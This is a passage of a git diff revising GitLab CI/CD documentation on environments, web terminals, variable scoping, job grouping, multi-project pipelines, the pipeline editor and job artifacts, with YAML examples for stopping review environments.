-Operators and SREs monitor the system to catch such problems as soon as possible. If they find a
+Operators and SREs monitor the system to catch these problems as soon as possible. If they find a
problematic deployment, they can roll back to a previous stable version.
GitLab Auto Rollback eases this workflow by automatically triggering a rollback when a
@@ -599,54 +596,49 @@ Limitations of GitLab Auto Rollback:
GitLab Auto Rollback is turned off by default. To turn it on:
-1. Visit **Project > Settings > CI/CD > Automatic deployment rollbacks**.
+1. Go to **Project > Settings > CI/CD > Automatic deployment rollbacks**.
1. Select the checkbox for **Enable automatic rollbacks**.
-1. Click **Save changes**.
+1. Select **Save changes**.
### Monitoring environments
-If you have enabled [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md),
-you can monitor the behavior of your app running in each environment. For the monitoring
-dashboard to appear, you need to Configure Prometheus to collect at least one
+To monitor the behavior of your app as it runs in each environment,
+enable [Prometheus for monitoring system and response metrics](../../user/project/integrations/prometheus.md).
+For the monitoring dashboard to appear, configure Prometheus to collect at least one
[supported metric](../../user/project/integrations/prometheus_library/index.md).
-In GitLab 9.2 and later, all deployments to an environment are shown directly on the monitoring dashboard.
+All deployments to an environment are shown on the monitoring dashboard.
+You can view changes in performance for each version of your application.
-Once configured, GitLab attempts to retrieve [supported performance metrics](../../user/project/integrations/prometheus_library/index.md)
+GitLab attempts to retrieve [supported performance metrics](../../user/project/integrations/prometheus_library/index.md)
for any environment that has had a successful deployment. If monitoring data was
successfully retrieved, a **Monitoring** button appears for each environment.
-Clicking the **Monitoring** button displays a new page showing up to the last
-8 hours of performance data. It may take a minute or two for data to appear
-after initial deployment.
-
-All deployments to an environment are shown directly on the monitoring dashboard,
-which allows easy correlation between any changes in performance and new
-versions of the app, all without leaving GitLab.
+To view the last eight hours of performance data, select the **Monitoring** button.
+It may take a minute or two for data to appear after initial deployment.
![Monitoring dashboard](../img/environments_monitoring.png)
#### Embedding metrics in GitLab Flavored Markdown
-Metric charts can be embedded within GitLab Flavored Markdown. See [Embedding Metrics within GitLab Flavored Markdown](../../operations/metrics/embed.md) for more details.
+Metric charts can be embedded in GitLab Flavored Markdown. See [Embedding Metrics in GitLab Flavored Markdown](../../operations/metrics/embed.md) for more details.
### Web terminals
-> Web terminals were added in GitLab 8.15 and are only available to project Maintainers and Owners.
-
If you deploy to your environments with the help of a deployment service (for example,
the [Kubernetes integration](../../user/project/clusters/index.md)), GitLab can open
-a terminal session to your environment.
+a terminal session to your environment. You can then debug issues without leaving your web browser.
-This is a powerful feature that allows you to debug issues without leaving the comfort
-of your web browser. To enable it, follow the instructions given in the service integration
-documentation.
+The Web terminal is a container-based deployment, which often lack basic tools (like an editor),
+and can be stopped or restarted at any time. If this happens, you lose all your
+changes. Treat the Web terminal as a debugging tool, not a comprehensive online IDE.
-Note that container-based deployments often lack basic tools (like an editor), and may
-be stopped or restarted at any time. If this happens, you lose all your
-changes. Treat this as a debugging tool, not a comprehensive online IDE.
+Web terminals:
-Once enabled, your environments display a **Terminal** button:
+- Are available to project Maintainers and Owners only.
+- Must [be enabled](../../administration/integration/terminal.md).
+
+In the UI, you can view the Web terminal by selecting a **Terminal** button:
![Terminal button on environment index](img/environments_terminal_button_on_index_v13_10.png)
@@ -654,8 +646,7 @@ You can also access the terminal button from the page for a specific environment
![Terminal button for an environment](img/environments_terminal_button_on_show_v13_10.png)
-Wherever you find it, clicking the button takes you to a separate page to
-establish the terminal session:
+Select the button to establish the terminal session:
![Terminal page](../img/environments_terminal_page.png)
@@ -664,14 +655,14 @@ by your deployment so you can:
- Run shell commands and get responses in real time.
- Check the logs.
-- Try out configuration or code tweaks etc.
+- Try out configuration or code tweaks.
-You can open multiple terminals to the same environment, they each get their own shell
+You can open multiple terminals to the same environment. They each get their own shell
session and even a multiplexer like `screen` or `tmux`.
### Check out deployments locally
-In GitLab 8.13 and later, a reference in the Git repository is saved for each deployment, so
+A reference in the Git repository is saved for each deployment, so
knowing the state of your current environments is only a `git fetch` away.
In your Git configuration, append the `[remote "<your-remote>"]` block with an extra
@@ -688,24 +679,23 @@ fetch = +refs/environments/*:refs/remotes/origin/environments/*
You can limit the environment scope of a CI/CD variable by
defining which environments it can be available for.
+For example, if the environment scope is `production`, then only the jobs
+with the environment `production` defined would have this specific variable.
-Wildcards can be used and the default environment scope is `*`. This means that
-any jobs can have this variable regardless of whether an environment is defined.
+The default environment scope is a wildcard (`*`), which means that
+any job can have this variable, regardless of whether an environment is defined.
-For example, if the environment scope is `production`, then only the jobs
-having the environment `production` defined would have this specific variable.
-Wildcards (`*`) can be used along with the environment name, therefore if the
-environment scope is `review/*` then any jobs with environment names starting
-with `review/` would have that particular variable.
+If the environment scope is `review/*`, then jobs with environment names starting
+with `review/` would have that variable available.
Some GitLab features can behave differently for each environment.
For example, you can
-[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-cicd-variables).
+[create a project CI/CD variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scope-of-a-cicd-variable).
In most cases, these features use the _environment specs_ mechanism, which offers
-an efficient way to implement scoping within each environment group.
+an efficient way to implement scoping in each environment group.
-Let's say there are four environments:
+For example, if there are four environments:
- `production`
- `staging`
@@ -722,11 +712,11 @@ Each environment can be matched with the following environment spec:
| review/* | | | Matched | Matched |
| review/feature-1 | | | Matched | |
-As you can see, you can use specific matching for selecting a particular environment,
-and also use wildcard matching (`*`) for selecting a particular environment group,
-such as [Review Apps](../review_apps/index.md) (`review/*`).
+You can use specific matching to select a particular environment.
+You can also use wildcard matching (`*`) to select a particular environment group,
+like [Review Apps](../review_apps/index.md) (`review/*`).
-Note that the most _specific_ spec takes precedence over the other wildcard matching. In this case,
+The most specific spec takes precedence over the other wildcard matching. In this case,
the `review/feature-1` spec takes precedence over `review/*` and `*` specs.
## Related topics
@@ -739,14 +729,68 @@ the `review/feature-1` spec takes precedence over `review/*` and `*` specs.
environment's operational health. **(PREMIUM)**
- [Deployment safety](deployment_safety.md#restrict-write-access-to-a-critical-environment): Secure your deployments.
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
+## Troubleshooting
+
+### The job with `action: stop` doesn't run
+
+In some cases, environments do not [stop when a branch is deleted](#stop-an-environment-when-a-branch-is-deleted).
+
+For example, the environment might start in a stage that also has a job that failed.
+Then the jobs in later stages job don't start. If the job with the `action: stop`
+for the environment is also in a later stage, it can't start and the environment isn't deleted.
+
+To ensure the `action: stop` can always run when needed, you can:
+
+- Put both jobs in the same stage:
+
+ ```yaml
+ stages:
+ - build
+ - test
+ - deploy
+
+ ...
+
+ deploy_review:
+ stage: deploy
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ url: https://$CI_ENVIRONMENT_SLUG.example.com
+ on_stop: stop_review
+
+ stop_review:
+ stage: deploy
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ action: stop
+ when: manual
+ ```
+
+- Add a [`needs`](../yaml/README.md#needs) entry to the `action: stop` job so the
+ job can start out of stage order:
+
+ ```yaml
+ stages:
+ - build
+ - test
+ - deploy
+ - cleanup
+
+ ...
+
+ deploy_review:
+ stage: deploy
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ url: https://$CI_ENVIRONMENT_SLUG.example.com
+ on_stop: stop_review
+
+ stop_review:
+ stage: cleanup
+ needs:
+ - deploy_review
+ environment:
+ name: review/$CI_COMMIT_REF_NAME
+ action: stop
+ when: manual
+ ```
diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md
index 9a639fde5f6..df0bb2817ab 100644
--- a/doc/ci/environments/protected_environments.md
+++ b/doc/ci/environments/protected_environments.md
@@ -66,8 +66,8 @@ Alternatively, you can use the API to protect an environment:
when: manual
script:
- 'echo "Deploying to ${CI_ENVIRONMENT_NAME}"'
- environment:
- name: ${CI_JOB_NAME}
+ environment:
+ name: ${CI_JOB_NAME}
```
1. Use the UI to [create a new group](../../user/group/index.md#create-a-group).
diff --git a/doc/ci/examples/README.md b/doc/ci/examples/README.md
index fc6807fd191..3238b062752 100644
--- a/doc/ci/examples/README.md
+++ b/doc/ci/examples/README.md
@@ -166,7 +166,7 @@ For examples of others who have implemented GitLab CI/CD, see:
To see how you can integrate GitLab CI/CD with third-party systems, see:
-- [Streamline and shorten error remediation with Sentry’s new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/)
+- [Streamline and shorten error remediation with Sentry's new GitLab integration](https://about.gitlab.com/blog/2019/01/25/sentry-integration-blog-post/)
- [How to simplify your smart home configuration with GitLab CI/CD](https://about.gitlab.com/blog/2018/08/02/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management/)
- [Demo: GitLab + Jira + Jenkins](https://about.gitlab.com/blog/2018/07/30/gitlab-workflow-with-jira-jenkins/)
- [Introducing Auto Breakfast from GitLab (sort of)](https://about.gitlab.com/blog/2018/06/29/introducing-auto-breakfast-from-gitlab/)
diff --git a/doc/ci/examples/end_to_end_testing_webdriverio/index.md b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
index 07bad3afc65..54e12cafa55 100644
--- a/doc/ci/examples/end_to_end_testing_webdriverio/index.md
+++ b/doc/ci/examples/end_to_end_testing_webdriverio/index.md
@@ -83,7 +83,7 @@ multiple tests, such as making sure you are logged in.
The function `it` defines an individual test.
[The `browser` object](http://v4.webdriver.io/guide/testrunner/browserobject.html) is WebdriverIO's
-special sauce. It provides most of [the WebdriverIO API methods](http://v4.webdriver.io/docs/api/) that are the key to
+special sauce. It provides most of [the WebdriverIO API methods](http://v4.webdriver.io/api.html) that are the key to
steering the browser. In this case, we can use
[`browser.url`](http://v4.webdriver.io/api/protocol/url.html) to visit `/page-that-does-not-exist` to
hit our 404 page. We can then use [`browser.getUrl`](http://v4.webdriver.io/api/property/getUrl.html)
diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
index 2acd7315630..5a5e44c03bf 100644
--- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
+++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md
@@ -532,7 +532,7 @@ That's a lot to take in, isn't it? Let's run through it step by step.
[Runners](../../runners/README.md) run the script defined by `.gitlab-ci.yml`.
The `image` keyword tells the runners which image to use.
-The `services` keyword defines additional images [that are linked to the main image](../../docker/using_docker_images.md#what-is-a-service).
+The `services` keyword defines additional images [that are linked to the main image](../../services/index.md).
Here we use the container image we created before as our main image and also use MySQL 5.7 as a service.
```yaml
@@ -555,7 +555,7 @@ So we should adjust the configuration of MySQL instance by defining `MYSQL_DATAB
Find out more about MySQL variables at the [official MySQL Docker Image](https://hub.docker.com/_/mysql).
Also set the variables `DB_HOST` to `mysql` and `DB_USERNAME` to `root`, which are Laravel specific variables.
-We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../docker/using_docker_images.md#how-services-are-linked-to-the-job).
+We define `DB_HOST` as `mysql` instead of `127.0.0.1`, as we use MySQL Docker image as a service which [is linked to the main Docker image](../../services/index.md#how-services-are-linked-to-the-job).
```yaml
variables:
diff --git a/doc/ci/jobs/img/collapsible_log_v12_6.png b/doc/ci/jobs/img/collapsible_log_v12_6.png
deleted file mode 100644
index a1e9aeb244a..00000000000
--- a/doc/ci/jobs/img/collapsible_log_v12_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/jobs/img/collapsible_log_v13_10.png b/doc/ci/jobs/img/collapsible_log_v13_10.png
new file mode 100644
index 00000000000..23f06e97477
--- /dev/null
+++ b/doc/ci/jobs/img/collapsible_log_v13_10.png
Binary files differ
diff --git a/doc/ci/jobs/img/manual_job_variables.png b/doc/ci/jobs/img/manual_job_variables.png
deleted file mode 100644
index 63801ade21f..00000000000
--- a/doc/ci/jobs/img/manual_job_variables.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/jobs/img/manual_job_variables_v13_10.png b/doc/ci/jobs/img/manual_job_variables_v13_10.png
new file mode 100644
index 00000000000..af8223e0c30
--- /dev/null
+++ b/doc/ci/jobs/img/manual_job_variables_v13_10.png
Binary files differ
diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md
index 0c5fa59da8e..1a31db09c92 100644
--- a/doc/ci/jobs/index.md
+++ b/doc/ci/jobs/index.md
@@ -137,24 +137,14 @@ The jobs are ordered by comparing the numbers from left to right. You
usually want the first number to be the index and the second number to be the total.
[This regular expression](https://gitlab.com/gitlab-org/gitlab/blob/2f3dc314f42dbd79813e6251792853bc231e69dd/app/models/commit_status.rb#L99)
-evaluates the job names: `\d+[\s:\/\\]+\d+\s*`.
+evaluates the job names: `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`.
+One or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences are removed from the **end**
+of job names only. Matching substrings found at the beginning or in the middle of
+job names are not removed.
-### Improved job grouping
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's enabled on GitLab.com.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](../../administration/feature_flags.md). **(FREE SELF)**
-
-Job grouping is evaluated with an improved regular expression to group jobs by name:
-
-- `([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z`.
-
-The new implementation removes one or more `: [...]`, `X Y`, `X/Y`, or `X\Y` sequences
-from the **end** of job names only.
-
-Matching substrings occurring at the beginning or in the middle of build names are
-no longer removed.
+In [GitLab 13.8 and earlier](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52644),
+the regular expression is `\d+[\s:\/\\]+\d+\s*`. [Feature flag](../../user/feature_flags.md)
+removed in [GitLab 13.11](https://gitlab.com/gitlab-org/gitlab/-/issues/322080).
## Specifying variables when running manual jobs
@@ -172,7 +162,7 @@ Add a variable name (key) and value here to override the value defined in
[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables),
for a single run of the manual job.
-![Manual job variables](img/manual_job_variables.png)
+![Manual job variables](img/manual_job_variables_v13_10.png)
## Delay a job
@@ -200,10 +190,10 @@ the duration.
In the following example:
-- Two sections are collapsed and can be expanded.
+- Three sections are collapsed and can be expanded.
- Three sections are expanded and can be collapsed.
-![Collapsible sections](img/collapsible_log_v12_6.png)
+![Collapsible sections](img/collapsible_log_v13_10.png)
### Custom collapsible sections
@@ -227,6 +217,9 @@ job1:
- echo -e "\e[0Ksection_end:`date +%s`:my_first_section\r\e[0K"
```
+Depending on the shell that your runner uses, for example if it is using ZSH, you may need to
+escape the special characters like so: `\\e` and `\\r`.
+
In the example above:
- `date +%s`: The Unix timestamp (for example `1560896352`).
diff --git a/doc/ci/merge_request_pipelines/index.md b/doc/ci/merge_request_pipelines/index.md
index 7e76efe8b50..024155bdde7 100644
--- a/doc/ci/merge_request_pipelines/index.md
+++ b/doc/ci/merge_request_pipelines/index.md
@@ -197,7 +197,7 @@ could mistakenly trust the merge request because it passed a faked pipeline.
Parent project members with at least [Developer permissions](../../user/permissions.md)
can create pipelines in the parent project for merge requests
from a forked project. In the merge request, go to the **Pipelines** and click
-**Run Pipeline** button.
+**Run pipeline** button.
WARNING:
Fork merge requests could contain malicious code that tries to steal secrets in the
diff --git a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
index edfedbc2527..b8ddc547156 100644
--- a/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
+++ b/doc/ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md
@@ -73,7 +73,7 @@ To enable merge trains:
- You must have maintainer [permissions](../../../../user/permissions.md).
- You must be using [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner) 11.9 or later.
-- In GitLab 12.0 and later, you need [Redis](https://redis.io/) 3.2 or later.
+- In GitLab 13.0 and later, you need [Redis](https://redis.io/) 5.0 or later.
- Your repository must be a GitLab repository, not an
[external repository](../../../ci_cd_for_external_repos/index.md).
diff --git a/doc/ci/metrics_reports.md b/doc/ci/metrics_reports.md
index ed14e61c54b..47236668e89 100644
--- a/doc/ci/metrics_reports.md
+++ b/doc/ci/metrics_reports.md
@@ -37,7 +37,7 @@ For an MR, the values of these metrics from the feature branch are compared to t
## How to set it up
-Add a job that creates a [metrics report](pipelines/job_artifacts.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
+Add a job that creates a [metrics report](yaml/README.md#artifactsreportsmetrics) (default filename: `metrics.txt`). The file should conform to the [OpenMetrics](https://openmetrics.io/) format.
For example:
diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md
index 0a44232efd3..b6c7bc6653f 100644
--- a/doc/ci/migration/circleci.md
+++ b/doc/ci/migration/circleci.md
@@ -265,7 +265,7 @@ test_async:
## Contexts and variables
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#group-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
## Orbs
diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md
index 1424868401e..c7dd4a46137 100644
--- a/doc/ci/migration/jenkins.md
+++ b/doc/ci/migration/jenkins.md
@@ -305,7 +305,7 @@ my_job:
In GitLab, we use the [`variables` keyword](../yaml/README.md#variables) to define different variables at runtime.
These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/README.md),
-including the section on [protected variables](../variables/README.md#protect-a-custom-variable) which can be used
+including the section on [protected variables](../variables/README.md#protect-a-cicd-variable) which can be used
to limit access to certain variables to certain environments or runners:
```yaml
diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md
index 9736f8c1418..28505fb7519 100644
--- a/doc/ci/multi_project_pipelines.md
+++ b/doc/ci/multi_project_pipelines.md
@@ -1,14 +1,13 @@
---
stage: Verify
-group: Continuous Integration
+group: Pipeline Authoring
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
-# Multi-project pipelines
+# Multi-project pipelines **(FREE)**
-> - [Introduced](https://about.gitlab.com/releases/2015/08/22/gitlab-7-14-released/#build-triggers-api-gitlab-ci) in GitLab 7.14, as Build Triggers.
-> - [Made available](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) in all tiers in GitLab 12.8.
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
You can set up [GitLab CI/CD](README.md) across multiple projects, so that a pipeline
in one project can trigger a pipeline in another project.
@@ -42,8 +41,6 @@ With Multi-Project Pipelines you can visualize the entire pipeline, including al
## Multi-project pipeline visualization **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2121) in [GitLab Premium 9.3](https://about.gitlab.com/releases/2017/06/22/gitlab-9-3-released/#multi-project-pipeline-graphs).
-
When you configure GitLab CI/CD for your project, you can visualize the stages of your
[jobs](pipelines/index.md#configure-a-pipeline) on a [pipeline graph](pipelines/index.md#visualize-pipelines).
@@ -56,8 +53,7 @@ and when hovering or tapping (on touchscreen devices) they expand and are shown
## Triggering multi-project pipelines through API
-> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2017) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.3.
-> - Use of `CI_JOB_TOKEN` for multi-project pipelines was [made available](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) in all tiers in GitLab 12.4.
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4.
When you use the [`CI_JOB_TOKEN` to trigger pipelines](triggers/README.md#ci-job-token), GitLab
recognizes the source of the job token, and thus internally ties these pipelines
@@ -76,8 +72,7 @@ When using:
## Creating multi-project pipelines from `.gitlab-ci.yml`
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8997) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.8.
-> - [Made available](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) in all tiers in 12.8.
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
### Triggering a downstream pipeline using a bridge job
@@ -220,7 +215,7 @@ the ones defined in the upstream project take precedence.
#### With variable inheritance
-You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-cicd-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
+You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
In the upstream pipeline:
@@ -260,7 +255,7 @@ test:
### Mirroring status from triggered pipeline
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8.
You can mirror the pipeline status from the triggered pipeline to the source
@@ -309,7 +304,7 @@ Some features are not implemented yet. For example, support for environments.
## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.8.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8.
You can trigger a pipeline in your project whenever a pipeline finishes for a new
tag in a different project:
@@ -324,8 +319,9 @@ now trigger a pipeline on the current project's default branch. The maximum
number of upstream pipeline subscriptions is 2 by default, for both the upstream and
downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator.
-The upstream project needs to be [public](../public_access/public_access.md) for
-pipeline subscription to work.
+The upstream project needs to be [public](../public_access/public_access.md)
+and the user must have [developer permissions](../user/permissions.md#project-members-permissions)
+for the upstream project.
## Downstream private projects confidentiality concern
diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md
index aabdc6cd36b..57aea5d493b 100644
--- a/doc/ci/pipeline_editor/index.md
+++ b/doc/ci/pipeline_editor/index.md
@@ -10,11 +10,8 @@ type: reference
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/4540) in GitLab 13.8.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/270059) in GitLab 13.10.
-WARNING:
-This feature might not be available to you. Check the **version history** note above for details.
-
The pipeline editor is the primary place to edit the GitLab CI/CD configuration in
-your `.gitlab-ci.yml` file. To access it, go to **CI/CD > Editor**.
+the `.gitlab-ci.yml` file in the root of your repository. To access the editor, go to **CI/CD > Editor**.
From the pipeline editor page you can:
@@ -25,8 +22,7 @@ From the pipeline editor page you can:
- View an [expanded](#view-expanded-configuration) version of your configuration.
- [Commit](#commit-changes-to-ci-configuration) the changes to a specific branch.
-NOTE:
-You must already have [a `.gitlab-ci.yml` file](../quick_start/index.md#create-a-gitlab-ciyml-file)
+In GitLab 13.9 and earlier, you must already have [a `.gitlab-ci.yml` file](../quick_start/index.md#create-a-gitlab-ciyml-file)
on the default branch of your project to use the editor.
## Validate CI configuration
diff --git a/doc/ci/pipelines/img/pipelines_v13_11.png b/doc/ci/pipelines/img/pipelines_v13_11.png
new file mode 100644
index 00000000000..8981f4ce860
--- /dev/null
+++ b/doc/ci/pipelines/img/pipelines_v13_11.png
Binary files differ
diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md
index c2fcbbcf72f..6d013a43583 100644
--- a/doc/ci/pipelines/index.md
+++ b/doc/ci/pipelines/index.md
@@ -133,8 +133,8 @@ operation of the pipeline.
To execute a pipeline manually:
1. Navigate to your project's **CI/CD > Pipelines**.
-1. Select the **Run Pipeline** button.
-1. On the **Run Pipeline** page:
+1. Select the **Run pipeline** button.
+1. On the **Run pipeline** page:
1. Select the branch or tag to run the pipeline for in the **Run for branch name or tag** field.
1. Enter any [environment variables](../variables/README.md) required for the pipeline run.
You can set specific variables to have their [values prefilled in the form](#prefill-variables-in-manual-pipelines).
@@ -332,10 +332,12 @@ GitLab capitalizes the stages' names in the pipeline graphs.
### Regular pipeline graphs
+> - [Visualization improved](https://gitlab.com/gitlab-org/gitlab/-/issues/276949) in GitLab 13.11.
+
Regular pipeline graphs show the names of the jobs in each stage. Regular pipeline graphs can
be found when you are on a [single pipeline page](#view-pipelines). For example:
-![Pipelines example](img/pipelines.png)
+![Pipelines example](img/pipelines_v13_11.png)
[Multi-project pipeline graphs](../multi_project_pipelines.md#multi-project-pipeline-visualization) help
you visualize the entire pipeline, including all cross-project inter-dependencies. **(PREMIUM)**
diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md
index cf8e4e71534..ebf4dffcf89 100644
--- a/doc/ci/pipelines/job_artifacts.md
+++ b/doc/ci/pipelines/job_artifacts.md
@@ -8,25 +8,21 @@ type: reference, howto
# Job artifacts
-> - Introduced in GitLab 8.2 and GitLab Runner 0.7.0.
-> - Starting with GitLab 8.4 and GitLab Runner 1.0, the artifacts archive format changed to `ZIP`, and it's now possible to browse its contents, with the added ability of downloading the files separately.
-> - In GitLab 8.17, builds were renamed to jobs.
-> - The artifacts browser is available only for new artifacts that are sent to GitLab using GitLab Runner version 1.0 and up. You cannot browse old artifacts already uploaded to GitLab.
+> Introduced in [GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/16675), artifacts in internal and private projects can be previewed when [GitLab Pages access control](../../administration/pages/index.md#access-control) is enabled.
-Job artifacts are a list of files and directories created by a job
-once it finishes. This feature is [enabled by default](../../administration/job_artifacts.md) in all
-GitLab installations.
+Jobs can output an archive of files and directories. This output is known as a job artifact.
-Job artifacts created by GitLab Runner are uploaded to GitLab and are downloadable as a single archive using the GitLab UI or the [GitLab API](../../api/job_artifacts.md#get-job-artifacts).
+You can download job artifacts by using the GitLab UI or the [API](../../api/job_artifacts.md#get-job-artifacts).
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, watch the video [GitLab CI Pipeline, Artifacts, and Environments](https://www.youtube.com/watch?v=PCKDICEe10s).
Watch also [GitLab CI pipeline tutorial for beginners](https://www.youtube.com/watch?v=Jav4vbUrqII).
-## Defining artifacts in `.gitlab-ci.yml`
+Administrators should review our [job artifacts administration](../../administration/job_artifacts.md) documentation.
-A simple example of using the artifacts definition in `.gitlab-ci.yml` would be
-the following:
+## Define artifacts in the `.gitlab-ci.yml` file
+
+This example shows how to configure your `.gitlab-ci.yml` file to create job artifacts:
```yaml
pdf:
@@ -38,354 +34,103 @@ pdf:
```
A job named `pdf` calls the `xelatex` command to build a PDF file from the
-latex source file `mycv.tex`. We then define the `artifacts` paths which in
-turn are defined with the `paths` keyword. All paths to files and directories
-are relative to the repository that was cloned during the build.
-
-By default, the artifacts upload when the job succeeds. You can also set artifacts to upload
-when the job fails, or always, by using [`artifacts:when`](../yaml/README.md#artifactswhen)
-keyword. GitLab keeps these uploaded artifacts for 1 week, as defined
-by the `expire_in` definition. You can keep the artifacts from expiring
-via the [web interface](#browsing-artifacts). If the expiry time is not defined, it defaults
-to the [instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration).
-
-For more examples on artifacts, follow the [artifacts reference in
-`.gitlab-ci.yml`](../yaml/README.md#artifacts).
-
-### `artifacts:reports`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
-> - Requires GitLab Runner 11.2 and above.
-
-The `artifacts:reports` keyword is used for collecting test reports, code quality
-reports, and security reports from jobs. It also exposes these reports in the GitLab
-UI (merge requests, pipeline views, and security dashboards).
-
-The test reports are collected regardless of the job results (success or failure).
-You can use [`artifacts:expire_in`](../yaml/README.md#artifactsexpire_in) to set up an expiration
-date for their artifacts.
-
-If you also want the ability to browse the report output files, include the
-[`artifacts:paths`](../yaml/README.md#artifactspaths) keyword.
-
-#### `artifacts:reports:junit`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
-> - Requires GitLab Runner 11.2 and above.
-
-The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
-as artifacts. Although JUnit was originally developed in Java, there are many
-third party ports for other
-languages like JavaScript, Python, Ruby, and so on.
-
-See [Unit test reports](../unit_test_reports.md) for more details and examples.
-Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
-
-```yaml
-rspec:
- stage: test
- script:
- - bundle install
